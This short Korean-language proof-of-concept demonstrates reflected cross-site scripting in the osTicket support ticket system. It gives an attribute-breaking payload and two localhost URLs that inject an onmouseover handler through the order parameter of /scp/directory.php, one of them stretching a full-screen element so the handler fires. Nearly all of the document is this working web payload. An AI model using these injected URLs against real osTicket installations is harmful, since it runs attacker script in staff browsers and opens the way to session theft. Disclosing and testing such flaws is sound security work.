
osTicket 지원 티켓 시스템에서 조작된 order 매개변수를 통한 반사형 XSS 실증 익스플로잇으로, 교차 사이트 스크립팅 취약점을 시연합니다.
반사형 XSS:
Payload: " onmouseover="alert(1)
> http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name
> http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)&sort=name